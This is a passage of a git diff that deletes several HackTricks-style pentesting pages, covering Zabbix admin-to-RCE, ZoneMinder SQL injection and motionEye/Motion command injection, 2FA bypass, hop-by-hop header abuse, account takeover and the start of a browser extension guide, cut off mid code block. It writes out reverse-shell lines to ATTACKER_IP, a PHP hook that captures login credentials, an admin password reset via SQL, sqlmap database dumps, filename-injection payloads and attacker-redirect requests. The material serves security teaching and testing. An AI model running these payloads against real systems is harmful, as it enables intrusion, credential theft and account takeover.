-With Admin access in the UI, you can execute predefined Scripts against monitored hosts. If agents/hosts execute script commands locally, this yields code execution on those systems (often as the zabbix user on Linux hosts):
-
-- Quick check: run id to confirm user context
-- Reverse shell example:
-
-```bash
-bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'
-```
-
-TTY upgrade (Linux):
-
-```bash
-script /dev/null -c bash
-# background with Ctrl+Z, then on attacker terminal:
-stty raw -echo; fg
-reset
-```
-
-If you have DB access, an alternative to forging a cookie is resetting the Admin password to the documented bcrypt for "zabbix":
-
-```sql
-UPDATE users SET passwd='$2a$10$ZXIvHAEP2ZM.dLXTm6uPHOMVlARXX7cqjbhM6Fn0cANzkCQBWpMrS' WHERE username='Admin';
-```
-
-## Credential capture via login hook (post-exploitation)
-
-If file write is possible on the web UI server, you can temporarily add a logging snippet to /usr/share/zabbix/index.php around the form-based login branch to capture credentials:
-
-```php
-// login via form
-if (hasRequest('enter') && CWebUser::login(getRequest('name', ZBX_GUEST_USER), getRequest('password', ''))) {
-  $user = $_POST['name'] ?? '??';
-  $password = $_POST['password'] ?? '??';
-  $f = fopen('/dev/shm/creds.txt','a+'); fputs($f, "$user:$password\n"); fclose($f);
-  CSessionHelper::set('sessionid', CWebUser::$data['sessionid']);
-}
-```
-
-Users authenticate normally; read /dev/shm/creds.txt afterwards. Remove the hook when done.
-
-## Pivoting to internal services
-
-Even if the service account shell is /usr/sbin/nologin, adding an SSH authorized_keys entry and using -N -L allows local port-forwarding to loopback-only services (e.g., CI/CD at 8111):
-
-```bash
-ssh -i key user@host -N -L 8111:127.0.0.1:8111
-```
-
-See more tunneling patterns in: Check [Tunneling and Port Forwarding](../../generic-hacking/tunneling-and-port-forwarding.md).
-
-## Operational tips
-
-- Validate scriptid is permitted for the current role (guest may have a limited set)
-- Timing brute can be slow; cache recovered admin sessionid and reuse it
-- The JSON sent to 10051 must be framed with the ZBXD\x01 header and a little-endian length
-
-## References
-
-- [HTB Watcher — Zabbix CVE-2024-22120 to Admin/RCE and TeamCity root pivot](https://0xdf.gitlab.io/2025/10/09/htb-watcher.html)
-- [CVE-2024-22120-RCE toolkit (PoC scripts)](https://github.com/W01fh4cker/CVE-2024-22120-RCE)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/zoneminder-motioneye-motion.md b/src/network-services-pentesting/pentesting-web/zoneminder-motioneye-motion.md
deleted file mode 100644
index 49bc5d6c1c5..00000000000
--- a/src/network-services-pentesting/pentesting-web/zoneminder-motioneye-motion.md
+++ /dev/null
@@ -1,190 +0,0 @@
-# ZoneMinder, motionEye & Motion
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Quick triage
-
-When a target exposes a **CCTV / NVR web stack**, look for combinations such as:
-
-- **ZoneMinder** under paths like **`/zm/`**
-- **motionEye** on **`127.0.0.1:8765`**
-- **Motion webcontrol** on **`127.0.0.1:7999`**
-- RTSP / video side services such as **8554**, **1935**, or local image streams
-
-After host access, the most interesting files are commonly:
-
-- **`/etc/motioneye/motioneye.conf`**
-- **`/etc/motioneye/*.conf`**
-- ZoneMinder web sources / config revealing the DB name, tables, and auth model
-
-## ZoneMinder
-
-### Default credentials and versioning
-
-ZoneMinder is commonly worth checking for:
-
-- **default credentials** such as **`admin:admin`**
-- exposed version information in the UI
-- local source code / package version to map to known auth-only bugs
-
-### Blind SQLi in `action=removetag`
-
-In vulnerable ZoneMinder **`1.37.* <= 1.37.64`**, the **`tid`** parameter in:
-
-```text
-/zm/index.php?view=request&request=event&action=removetag&tid=1
-```
-
-can reach code that safely uses **`$_REQUEST['tid']`** in one query and then later concatenates it into:
-
-```php
-$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
-```
-
-Useful workflow:
-
-1. Prove injection with a **time-based** payload such as **`SLEEP(5)`**.
-2. Check if a **faster Boolean oracle** exists by appending conditions that preserve or break the response.
-3. Determine the **UNION column count**.
-4. Feed the working shape to **sqlmap** instead of waiting for slow time-based extraction.
-
-Example from a real exploitation chain where the original query accepted **4 columns** and HTTP **`200`** indicated **True**:
-
-```bash
-sqlmap -r removetag.request -p tid --batch \
-  --prefix="1 UNION SELECT 1,2,3,4 WHERE " \
-  --code 200 --technique=B --flush-session
-```
-
-Then enumerate only what matters:
-
-```bash
-sqlmap -r removetag.request -p tid --batch \
-  --prefix="1 UNION SELECT 1,2,3,4 WHERE " \
-  --code 200 --technique=B \
-  -D zm -T Users -C Username,Password,Name,Email --dump
-```
-
-This is specially useful when the application gives a better **Boolean** signal than sqlmap initially discovers by itself.
-
-### Turning app SQLi into OS access
-
-ZoneMinder user dumps are high-value because they often contain **reusable operator credentials**.
-
-- Identify the hash type first (for example **bcrypt** / **`$2y$`**).
-- Crack only the extracted application users.
-- Test reuse against **SSH**, **`su`**, SMB, VPN, or other operator-facing services.
-
-Example bcrypt cracking flow:
-
-```bash
-hashcat zm.hashes /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt --user -m 3200
-```
-
-## Post-foothold: sniffing internal creds with `tcpdump` capabilities
-
-On Linux CCTV appliances, low-privileged shells sometimes inherit useful **file capabilities** instead of sudo.
-
-Check for capture primitives:
-
-```bash
-getcap -r / 2>/dev/null
-```
-
-If **`tcpdump`** has **`cap_net_raw`** (or **`cap_net_admin,cap_net_raw`**), capture local traffic even as a non-root user:
-
-```bash
-timeout 120 tcpdump -i any -w /tmp/capture.pcap
-```
-
-This is specially valuable when:
-
-- loopback / bridge services are doing **cleartext internal auth**
-- Docker bridges expose custom management channels
-- **`/proc`** is mounted with **`hidepid`**, reducing normal process visibility
-
-Review the pcap in Wireshark and prioritise:
-
-- **Conversations**
-- **Protocol Hierarchy**
-- **Follow TCP Stream** on local / container management ports
-
-## motionEye / Motion
-
-### Signed requests + client-side-only validation
-
-motionEye signs config requests with **`_signature`**, so directly editing a captured JSON body normally breaks the request. However, some dangerous fields are only protected by **client-side JavaScript validation**.
-
-A practical approach is:
-
-1. Use the legitimate UI so the browser generates a valid **`_signature`**.
-2. In DevTools, neutralise the validator, for example:
-
-```javascript
-configUiValid = function() { return true; };
-```
-
-3. Submit the malicious value through the normal UI workflow.
-
-This is useful when the UI blocks characters such as **`$`**, but the backend still accepts them.
-
-### Filename-to-shell command injection
-
-In vulnerable motionEye / Motion setups, fields such as **`image_file_name`** or **`picture_filename`** are written into Motion configuration and later propagated into shell-executed hooks such as **`on_picture_save ... %f`**.
-
-If the saved filename contains shell substitution like **`$(...)`**, the shell expands it before the hook runs.
-
-Probe payloads:
-
-```text
-$(id)
-$(ping -c 1 ATTACKER_IP)
-$(bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1')
-```
-
-If the Motion process or hook executes as **root**, this becomes **root RCE**.
-
-### Unauthenticated localhost Motion webcontrol
-
-If Motion webcontrol is reachable and unauthenticated, test it directly:
-
-```bash
-curl -s http://127.0.0.1:7999/
-```
-
-If advanced parameters are exposed (for example **`webcontrol_parms 2`**), you may be able to set **filename-related** options even when direct **`on_*`** hooks are protected.
-
-Minimal exploitation sequence:
-
-```bash
-curl -s "http://127.0.0.1:7999/1/config/set?picture_output=on"
-curl -s "http://127.0.0.1:7999/1/config/set?picture_filename=%24(touch%20/tmp/pwned)"
-curl -s "http://127.0.0.1:7999/1/config/set?emulate_motion=on"
-```
-
-Why this works:
-
-- Motion saves a file using the attacker-controlled filename.
-- The file path is later inserted as **`%f`** into **`on_picture_save`**.
-- The hook is executed through a shell, so **`$(...)`** runs first.
-
-### Stored SHA1 hash accepted as a login secret
-
-If you can read **`@admin_password`** from motionEye config, do not assume you must crack it first.
-
-Some motionEye builds store:
-
-```text
-@admin_password = sha1(real_password)
-```
-
-and then accept request signatures computed using the stored hash-derived secret. In practice, this means the stored **SHA1** may itself be usable as the **login secret** for the admin UI.
-
-## References
-
-- [0xdf - HTB: CCTV](https://0xdf.gitlab.io/2026/07/11/htb-cctv.html)
-- [ZoneMinder repository](https://github.com/ZoneMinder/zoneminder)
-- [motionEye repository](https://github.com/motioneye-project/motioneye)
-- [Motion Project](https://motion-project.github.io/)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/2fa-bypass.md b/src/pentesting-web/2fa-bypass.md
deleted file mode 100644
index 88b45af5ac6..00000000000
--- a/src/pentesting-web/2fa-bypass.md
+++ /dev/null
@@ -1,134 +0,0 @@
-# 2FA/MFA/OTP Bypass
-
-{{#include ../banners/hacktricks-training.md}}
-
-## **Enhanced Two-Factor Authentication Bypass Techniques**
-
-### **Direct Endpoint Access**
-
-To bypass 2FA, access the subsequent endpoint directly, knowing the path is crucial. If unsuccessful, alter the **Referrer header** to mimic navigation from the 2FA verification page.
-
-### **Token Reuse**
-
-Reutilizing previously used tokens for authentication within an account can be effective.
-
-### **Utilization of Unused Tokens**
-
-Extracting a token from one's own account to bypass 2FA in another account can be attempted.
-
-### **Exposure of Token**
-
-Investigate whether the token is disclosed in a response from the web application.
-
-### **Verification Link Exploitation**
-
-Using the **email verification link sent upon account creation** can allow profile access without 2FA, as highlighted in a detailed [post](https://srahulceh.medium.com/behind-the-scenes-of-a-security-bug-the-perils-of-2fa-cookie-generation-496d9519771b).
-
-### **Session Manipulation**
-
-Initiating sessions for both the user's and a victim's account, and completing 2FA for the user's account without proceeding, allows an attempt to access the next step in the victim's account flow, exploiting backend session management limitations.
-
-### **Password Reset Mechanism**
-
-Investigating the password reset function, which logs a user into the application post-reset, for its potential to allow multiple resets using the same link is crucial. Logging in with the newly reset credentials might bypass 2FA.
-
-### **OAuth Platform Compromise**
-
-Compromising a user's account on a trusted **OAuth** platform (e.g., Google, Facebook) can offer a route to bypass 2FA.
-
-### **Brute Force Attacks**
-
-#### **Rate Limit Absence**
-
-The lack of a limit on the number of code attempts allows for brute force attacks, though potential silent rate limiting should be considered.
-
-Note that even if a rate limit is in place you should try to see if the response is different when the valid OTP is sent. In [**this post**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732), the bug hunter discovered that even if a rate limit is triggered after 20 unsuccessful attempts by responding with 401, if the valid one was sent a 200 response was received.
-
-#### **Slow Brute Force**
-
-A slow brute force attack is viable where flow rate limits exist without an overarching rate limit.
-
-#### **Code Resend Limit Reset**
-
-Resending the code resets the rate limit, facilitating continued brute force attempts.
-
-#### **Client-Side Rate Limit Circumvention**
-
-A document details techniques for bypassing client-side rate limiting.
-
-#### **Internal Actions Lack Rate Limit**
-
-Rate limits may protect login attempts but not internal account actions.
-
-#### **SMS Code Resend Costs**
-
-Excessive resending of codes via SMS incurs costs to the company, though it does not bypass 2FA.
-
-#### **Infinite OTP Regeneration**
-
-Endless OTP generation with simple codes allows brute force by retrying a small set of codes.
-
-### **Race Condition Exploitation**
-
-Exploiting race conditions for 2FA bypass can be found in a specific document.
-
-### **CSRF/Clickjacking Vulnerabilities**
-
-Exploring CSRF or Clickjacking vulnerabilities to disable 2FA is a viable strategy.
-
-### **"Remember Me" Feature Exploits**
-
-#### **Predictable Cookie Values**
-
-Guessing the "remember me" cookie value can bypass restrictions.
-
-#### **IP Address Impersonation**
-
-Impersonating the victim's IP address through the **X-Forwarded-For** header can bypass restrictions.
-
-### **Utilizing Older Versions**
-
-#### **Subdomains**
-
-Testing subdomains may use outdated versions lacking 2FA support or contain vulnerable 2FA implementations.
-
-#### **API Endpoints**
-
-Older API versions, indicated by /v\*/ directory paths, may be vulnerable to 2FA bypass methods.
-
-### **Handling of Previous Sessions**
-
-Terminating existing sessions upon 2FA activation secures accounts against unauthorized access from compromised sessions.
-
-### **Access Control Flaws with Backup Codes**
-
-Immediate generation and potential unauthorized retrieval of backup codes upon 2FA activation, especially with CORS misconfigurations/XSS vulnerabilities, poses a risk.
-
-### **Information Disclosure on 2FA Page**
-
-Sensitive information disclosure (e.g., phone number) on the 2FA verification page is a concern.
-
-### **Password Reset Disabling 2FA**
-
-A process demonstrating a potential bypass method involves account creation, 2FA activation, password reset, and subsequent login without the 2FA requirement.
-
-### **Decoy Requests**
-
-Utilizing decoy requests to obfuscate brute force attempts or mislead rate limiting mechanisms adds another layer to bypass strategies. Crafting such requests requires a nuanced understanding of the application's security measures and rate limiting behaviours.
-
-### OTP Construction errors
-
-In case the OTP is created based on data the user already has or that is sending previous to create the OTP, it's possible for the user to also generate it and bypass it.
-
-## References
-
-- [https://medium.com/@iSecMax/two-factor-authentication-security-testing-and-possible-bypasses-f65650412b35](https://medium.com/@ISecMax/two-factor-authentication-security-testing-and-possible-bypasses-f65650412b35)
-- [https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718](https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718)
-- [https://getpocket.com/read/aM7dap2bTo21bg6fRDAV2c5thng5T48b3f0Pd1geW2u186eafibdXj7aA78Ip116_1d0f6ce59992222b0812b7cab19a4bce](https://getpocket.com/read/aM7dap2bTo21bg6fRDAV2c5thng5T48b3f0Pd1geW2u186eafibdXj7aA78Ip116_1d0f6ce59992222b0812b7cab19a4bce)
-
-P
-
-{{#include ../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/pentesting-web/abusing-hop-by-hop-headers.md b/src/pentesting-web/abusing-hop-by-hop-headers.md
deleted file mode 100644
index cae0fce90c5..00000000000
--- a/src/pentesting-web/abusing-hop-by-hop-headers.md
+++ /dev/null
@@ -1,45 +0,0 @@
-# hop-by-hop headers
-
-{{#include ../banners/hacktricks-training.md}}
-
----
-
-**This is a summary of the post** [**https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers**](https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers)
-
-Hop-by-hop headers are specific to a single transport-level connection, used primarily in HTTP/1.1 for managing data between two nodes (like client-proxy or proxy-proxy), and are not meant to be forwarded. Standard hop-by-hop headers include `Keep-Alive`, `Transfer-Encoding`, `TE`, `Connection`, `Trailer`, `Upgrade`, `Proxy-Authorization`, and `Proxy-Authenticate`, as defined in [RFC 2616](https://tools.ietf.org/html/rfc2616#section-13.5.1). Additional headers can be designated as hop-by-hop via the `Connection` header.
-
-### Abusing Hop-by-Hop Headers
-
-Improper management of hop-by-hop headers by proxies can lead to security issues. While proxies are expected to remove these headers, not all do, creating potential vulnerabilities.
-
-### Testing for Hop-by-Hop Header Handling
-
-The handling of hop-by-hop headers can be tested by observing changes in server responses when specific headers are marked as hop-by-hop. Tools and scripts can automate this process, identifying how proxies manage these headers and potentially uncovering misconfigurations or proxy behaviors.
-
-Abusing hop-by-hop headers can lead to various security implications. Below are a couple of examples demonstrating how these headers can be manipulated for potential attacks:
-
-### Bypassing Security Controls with `X-Forwarded-For`
-
-An attacker can manipulate the `X-Forwarded-For` header to bypass IP-based access controls. This header is often used by proxies to track the originating IP address of a client. However, if a proxy treats this header as hop-by-hop and forwards it without proper validation, an attacker can spoof their IP address.
-
-**Attack Scenario:**
-
-1. The attacker sends an HTTP request to a web application behind a proxy, including a fake IP address in the `X-Forwarded-For` header.
-2. The attacker also includes the `Connection: close, X-Forwarded-For` header, prompting the proxy to treat `X-Forwarded-For` as hop-by-hop.
-3. The misconfigured proxy forwards the request to the web application without the spoofed `X-Forwarded-For` header.
-4. The web application, not seeing the original `X-Forwarded-For` header, might consider the request as coming directly from a trusted proxy, potentially allowing unauthorized access.
-
-### Cache Poisoning via Hop-by-Hop Header Injection
-
-If a cache server incorrectly caches content based on hop-by-hop headers, an attacker could inject malicious headers to poison the cache. This would serve incorrect or malicious content to users requesting the same resource.
-
-**Attack Scenario:**
-
-1. An attacker sends a request to a web application with a hop-by-hop header that should not be cached (e.g., `Connection: close, Cookie`).
-2. The poorly configured cache server does not remove the hop-by-hop header and caches the response specific to the attacker's session.
-3. Future users requesting the same resource receive the cached response, which was tailored for the attacker, potentially leading to session hijacking or exposure of sensitive information.
-
-{{#include ../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/pentesting-web/account-takeover.md b/src/pentesting-web/account-takeover.md
deleted file mode 100644
index 06ebeba60f3..00000000000
--- a/src/pentesting-web/account-takeover.md
+++ /dev/null
@@ -1,237 +0,0 @@
-# Account Takeover
-
-{{#include ../banners/hacktricks-training.md}}
-
-## **Authorization Issue**
-
-The email of an account should be attempted to be changed, and the confirmation process **must be examined**. If found to be **weak**, the email should be changed to that of the intended victim and then confirmed.
-
-## **Unicode Normalization Issue**
-
-1. The account of the intended victim `victim@gmail.com`
-2. An account should be created using Unicode\
-   for example: `vićtim@gmail.com`
-
-As explained in [**this talk**](https://www.youtube.com/watch?v=CiIyaZ3x49c), the previous attack could also be done abusing third party identity providers:
-
-- Create an account in the third party identity with similar email to the victim using some unicode character (`vićtim@company.com`).
-  - The third party provider shouldn't verify the email
-  - If the identity provider verifies the email, maybe you can attack the domain part like: `victim@ćompany.com` and register that domain and hope that the identity provider generates the ascii version of the domain while the victim platform normalize the domain name.
-- Login via this identity provider in the victim platform who should normalize the unicode character and allow you to access the victim account.
-
-### Unicode/email parser disagreement
-
-Normalization bugs don't only happen in the UI. Also compare how the **DB collation**, the **SMTP server**, and any **OAuth/OIDC provider** interpret the same mailbox:
-
-1. The application looks up the attacker-controlled email using a **permissive collation** and matches the victim row.
-2. The reset token, magic link, or federated identity is later bound to the **raw attacker-controlled Unicode address** instead of the canonical email stored in the DB.
-3. The attacker receives the artifact or is logged in as the victim.
-
-Practical checks:
-
-- Intercept forgot-password, email-change, and invite flows and replace the victim email with a **confusable / Unicode** variant you control.
-- If social login is supported, repeat the same idea with the **email returned by the IdP** during the callback.
-- If the backend sends the email **taken from user input** instead of the **canonical address stored in the database**, the flow is usually exploitable.
-
-For further details, refer to the document on Unicode Normalization:
-
-
-{{#ref}}
-unicode-injection/unicode-normalization.md
-{{#endref}}
-
-## **Reusing Reset Token**
-
-Should the target system allow the **reset link** (or an equivalent **magic link**) to be **reused**, efforts should be made to **find more reset links** using tools such as `gau`, `wayback`, or `scan.io`. Also verify whether the artifact still works **after an email change** or when redeemed from a **second browser/device**.
-
-## **Pre Account Takeover**
-
-1. The victim's email should be used to sign up on the platform, and a password should be set (an attempt to confirm it should be made, although lacking access to the victim's emails might render this impossible).
-2. One should wait until the victim signs up using OAuth and confirms the account.
-3. It is hoped that the regular signup will be confirmed, allowing access to the victim's account.
-
-## **CORS Misconfiguration to Account Takeover**
-
-If the page contains **CORS misconfigurations** you might be able to **steal sensitive information** from the user to **takeover his account** or make him change auth information for the same purpose:
-
-
-{{#ref}}
-cors-bypass.md
-{{#endref}}
-
-## **Csrf to Account Takeover**
-
-If the page is vulnerable to CSRF you might be able to make the **user modify his password**, email or authentication so you can then access it:
-
-
-{{#ref}}
-csrf-cross-site-request-forgery.md
-{{#endref}}
-
-## **XSS to Account Takeover**
-
-If you find a XSS in application you might be able to steal cookies, local storage, or info from the web page that could allow you takeover the account:
-
-
-{{#ref}}
-xss-cross-site-scripting/
-{{#endref}}
-
-- Attribute-only reflected payloads on login pages can hook `document.onkeypress`, exfiltrate keystrokes through `new Image().src`, and steal credentials without submitting the form. See [Attribute-only login XSS behind WAFs](xss-cross-site-scripting/README.md#attribute-only-login-xss-behind-wafs) for a practical workflow.
-
-## **Same Origin + Cookies**
-
-If you find a limited XSS or a subdomain take over, you could play with the cookies (fixating them for example) to try to compromise the victim account:
-
-
-{{#ref}}
-hacking-with-cookies/
-{{#endref}}
-
-## **Attacking Password Reset Mechanism**
-
-
-{{#ref}}
-reset-password.md
-{{#endref}}
-
-## **Magic Links / Passwordless Login**
-
-Passwordless email-login flows deserve the same scrutiny as reset-password flows:
-
-- If the unauthenticated endpoint that creates the magic link accepts attacker-controlled `redirect_url`, `next`, `return_to`, or `callback` parameters, request a link for the victim and make the post-login redirect land on an attacker origin first.
-- If the confirmation endpoint puts the token or session in the URL, fragment, or a browser-readable response, the attacker-controlled landing page can steal it and then bounce the victim back to the real application.
-- On mobile, test **custom schemes**, **Branch/app.link-style deep links**, and **unverified App / Universal Links**. A malicious app can register the same handler and intercept the login token.
-- Verify the link is **single-use** and **browser/app-bound**: open it from two browsers, two profiles, webmail vs native mail, and browser vs native app.
-- If the same endpoint silently creates users, combine this with **pre-account takeover** and **email verification bypass** tests.
-
-```http
-POST /api/auth/magic-link HTTP/1.1
-Host: target.tld
-Content-Type: application/json
-
-{"email":"victim@target.tld","redirect_url":"https://attacker.tld/callback"}
-```
-
-## Security-question resets that trust client-supplied usernames
-If an "update security questions" flow takes a `username` parameter even though the caller is already authenticated, you can overwrite any account's recovery data (including admins) because the backend typically runs `UPDATE ... WHERE user_name = ?` with your untrusted value. The pattern is:
-
-1. Log in with a throwaway user and capture the session cookie.
-2. Submit the victim username plus new answers via the reset form.
-3. Immediately authenticate through the security-question login endpoint using the answers you just injected to inherit the victim's privileges.
-
-```http
-POST /reset.php HTTP/1.1
-Host: file.era.htb
-Cookie: PHPSESSID=<low-priv>
-Content-Type: application/x-www-form-urlencoded
-
-username=admin_ef01cab31aa&new_answer1=A&new_answer2=B&new_answer3=C
-```
-
-Anything gated by the victim's `$_SESSION` context (admin dashboards, dangerous stream-wrapper features, etc.) is now exposed without touching the real answers.
-
-Enumerated usernames can then be targeted via the overwrite technique above or reused against ancillary services (FTP/SSH password spraying).
-
-## **Response Manipulation**
-
-If the authentication response could be **reduced to a simple boolean just try to change false to true** and see if you get any access.
-
-## OAuth to Account takeover
-
-
-{{#ref}}
-oauth-to-account-takeover.md
-{{#endref}}
-
-## **QR / Cross-Device Login Flows**
-
-Desktop QR login, TV/device-code login, wallet login, and "approve on your phone" flows are now common ATO surfaces. Treat `qrId`, `device_code`, approval handles, and polling session identifiers like password-reset tokens.
-
-Common weaknesses to test:
-
-- **Unbound browser session**: approving the flow authenticates a different browser than the one that created it.
-- **Reusable QR / device codes**: the same code authenticates multiple browsers ("double login").
-- **Predictable or attacker-controlled identifiers**: short, sequential, or client-generated `qrId` / `device_code` values can be brute-forced or replaced.
-- **Weak approval context**: the mobile app doesn't show enough origin, device, or action details, making consent phishing and session swapping realistic.
-
-Practical workflow:
-
-1. Start the flow in the attacker browser and capture the polling/status endpoint.
-2. Reuse the same `qrId` / `device_code` from a second browser or after the first login completes.
-3. Swap browser/session identifiers between two accounts and check whether approval follows the **code** instead of the original session.
-4. Try parallel polling/races and brute-forcing short QR identifiers.
-5. If the platform supports wallet or passkey-based cross-device login, verify whether the handoff is rejected when the QR/device code is stale, already redeemed, or replayed from the wrong context.
-
-From the defender side, current guidance is to require **short-lived one-time codes**, add **request-binding / extra confirmation data**, and where possible **prove device proximity**.
-
-## Host Header Injection
-
-1. The Host header is modified following a password reset request initiation.
-2. The `X-Forwarded-For` proxy header is altered to `attacker.com`.
-3. The Host, Referrer, and Origin headers are simultaneously changed to `attacker.com`.
-4. After initiating a password reset and then opting to resend the mail, all three of the aforementioned methods are employed.
-
-## Response Manipulation
-
-1. **Code Manipulation**: The status code is altered to `200 OK`.
-2. **Code and Body Manipulation**:
-   - The status code is changed to `200 OK`.
-   - The response body is modified to `{"success":true}` or an empty object `{}`.
-
-These manipulation techniques are effective in scenarios where JSON is utilized for data transmission and receipt.
-
-## Change email of current session
-
-From [this report](https://dynnyd20.medium.com/one-click-account-take-over-e500929656ea):
-
-- Attacker requests to change his email with a new one
-- Attacker receives a link to confirm the change of the email
-- Attacker send the victim the link so he clicks it
-- The victims email is changed to the one indicated by the attacker
-- The attack can recover the password and take over the account
-
-This also happened in [**this report**](https://dynnyd20.medium.com/one-click-account-take-over-e500929656ea).
-
-
-### Bypass email verification for Account Takeover
-- Attacker logins with attacker@test.com and verifies email upon signup.
-- Attacker changes verified email to victim@test.com (no secondary verification on email change)
-- Now the website allows victim@test.com to login and we have bypassed email verification of victim user.
-
-### Old Cookies
-
-As explained [**in this post**](https://medium.com/@niraj1mahajan/uncovering-the-hidden-vulnerability-how-i-found-an-authentication-bypass-on-shopifys-exchange-cc2729ea31a9), it was possible to login into an account, save the cookies as an authenticated user, logout, and then login again.\
-With the new login, although different cookies might be generated the old ones became to work again.
-
-### Trusted device cookies + batch API leakage
-
-*Long-lived device identifiers that gate recovery can be stolen when a batch API lets you copy unreadable subresponses into writable sinks.*
-
-- Identify a **trusted-device cookie** (`SameSite=None`, long-lived) used to relax recovery checks.
-- Find a **first-party endpoint** that returns that device ID in JSON (e.g., an OAuth `code` exchange returning `machine_id`) but is not readable cross-origin.
-- Use a **batch/chained API** that allows referencing earlier subresponses (`{result=name:$.path}`) and writing them to an attacker-visible sink (page post, upload-by-URL, etc.). Example with Facebook Graph API:
-
-```http
-POST https://graph.facebook.com/
-batch=[
-  {"method":"post","omit_response_on_success":0,"relative_url":"/oauth/access_token?client_id=APP_ID%26redirect_uri=REDIRECT_URI","body":"code=SINGLE_USE_CODE","name":"leaker"},
-  {"method":"post","relative_url":"PAGE_ID/posts","body":"message={result=leaker:$.machine_id}"}
-]
-access_token=PAGE_ACCESS_TOKEN&method=post
-```
-
-- Load the batch URL in a hidden `<iframe>` so the victim sends the trusted-device cookie; the JSON-path reference copies `machine_id` into the attacker-controlled post even though the OAuth response is unreadable to the page.
-- Replay: set the stolen device cookie in a new session. Recovery now treats the browser as trusted, often exposing weaker “no email/phone” flows (e.g., automated document upload) to add an attacker email without the password or 2FA.
-
-## References
-
-- [https://blog.hackcommander.com/posts/2025/12/28/turning-a-harmless-xss-behind-a-waf-into-a-realistic-phishing-vector/](https://blog.hackcommander.com/posts/2025/12/28/turning-a-harmless-xss-behind-a-waf-into-a-realistic-phishing-vector/)
-- [https://infosecwriteups.com/firing-8-account-takeover-methods-77e892099050](https://infosecwriteups.com/firing-8-account-takeover-methods-77e892099050)
-- [https://dynnyd20.medium.com/one-click-account-take-over-e500929656ea](https://dynnyd20.medium.com/one-click-account-take-over-e500929656ea)
-- [0xdf – HTB Era: security-question IDOR & username oracle](https://0xdf.gitlab.io/2025/11/29/htb-era.html)
-- [Steal DATR Cookie](https://ysamm.com/uncategorized/2026/01/15/steal-dtsg-cookie.html)
-- [Dfns - The Magic Link Vulnerability](https://www.dfns.co/article/the-magic-link-vulnerability)
-- [USENIX Security 2025 - Demystifying the (In)Security of QR Code-based Login in Real-world Deployments](https://www.usenix.org/conference/usenixsecurity25/presentation/zhang-xin)
-{{#include ../banners/hacktricks-training.md}}
-
diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/README.md b/src/pentesting-web/browser-extension-pentesting-methodology/README.md
deleted file mode 100644
index 6ded1a58fea..00000000000
--- a/src/pentesting-web/browser-extension-pentesting-methodology/README.md
+++ /dev/null
@@ -1,873 +0,0 @@
-# Browser Extension Pentesting Methodology
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Basic Information
-
-Browser extensions are written in JavaScript and loaded by the browser in the background. It has its [DOM](https://www.w3schools.com/js/js_htmldom.asp) but can interact with other sites' DOMs. This means that it may compromise other sites' confidentiality, integrity, and availability (CIA).
-
-## Main Components
-
-Extension layouts look best when visualised and consists of three components. Let’s look at each component in depth.
-
-<figure><img src="../../images/image (16) (1) (1).png" alt=""><figcaption><p><a href="http://webblaze.cs.berkeley.edu/papers/Extensions.pdf">http://webblaze.cs.berkeley.edu/papers/Extensions.pdf</a></p></figcaption></figure>
-
-### **Content Scripts**
-
-Each content script has direct access to the DOM of a **single web page** and is thereby exposed to **potentially malicious input**. However, the content script contains no permissions other than the ability to send messages to the extension core.
-
-### **Extension Core**
-
-The extension core contains most of the extension privileges/access, but the extension core can only interact with web content via [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) and content scripts. Also, the extension core does not have direct access to the host machine.
-
-### **Native Binary**
-
-The extension allows a native binary that can **access the host machine with the user’s full privileges.** The native binary interacts with the extension core through the standard Netscape Plugin Application Programming Interface ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) used by Flash and other browser plug-ins.
-
-### Boundaries
-
-> [!CAUTION]
-> To obtain the user's full privileges, an attacker must convince the extension to pass malicious input from the content script to the extension's core and from the extension's core to the native binary.
-
-Each component of the extension is separated from each other by **strong protective boundaries**. Each component runs in a **separate operating system process**. Content scripts and extension cores run in **sandbox processes** unavailable to most operating system services.
-
-Moreover, content scripts separate from their associated web pages by **running in a separate JavaScript heap**. The content script and web page have **access to the same underlying DOM**, but the two **never exchange JavaScript pointers**, preventing the leaking of JavaScript functionality.
-
-## **`manifest.json`**
-
-A Chrome extension is just a ZIP folder with a [.crx file extension](https://www.lifewire.com/crx-file-2620391). The extension's core is the **`manifest.json`** file at the root of the folder, which specifies layout, permissions, and other configuration options.
-
-Example:
-
-```json
-{
-  "manifest_version": 2,
-  "name": "My extension",
-  "version": "1.0",
-  "permissions": ["storage"],
-  "content_scripts": [
-    {
-      "js": ["script.js"],
-      "matches": ["https://example.com/*", "https://www.example.com/*"],
-      "exclude_matches": ["*://*/*business*"]
-    }
-  ],
-  "background": {
-    "scripts": ["background.js"]
-  },
-  "options_ui": {
-    "page": "options.html"
-  }
-}
-```
-
-### `content_scripts`
-
-Content scripts are **loaded** whenever the user **navigates to a matching page**, in our case any page matching the **`https://example.com/*`** expression and not matching the **`*://*/*/business*`** regex. They execute **like the page’s own scripts** and have arbitrary access to the page’s [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model).
-
-```json
-"content_scripts": [
-    {
-      "js": [
-        "script.js"
-      ],
-      "matches": [
-        "https://example.com/*",
-        "https://www.example.com/*"
-      ],
-      "exclude_matches": ["*://*/*business*"],
-    }
-  ],
-```
-
-In order to include or exclude more URLs it's also possible to use **`include_globs`** and **`exclude_globs`**.
-
-This is an example content script which will add an explain button to the page when [the storage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) to retrieve the `message` value from extension’s storage.
-
-```js
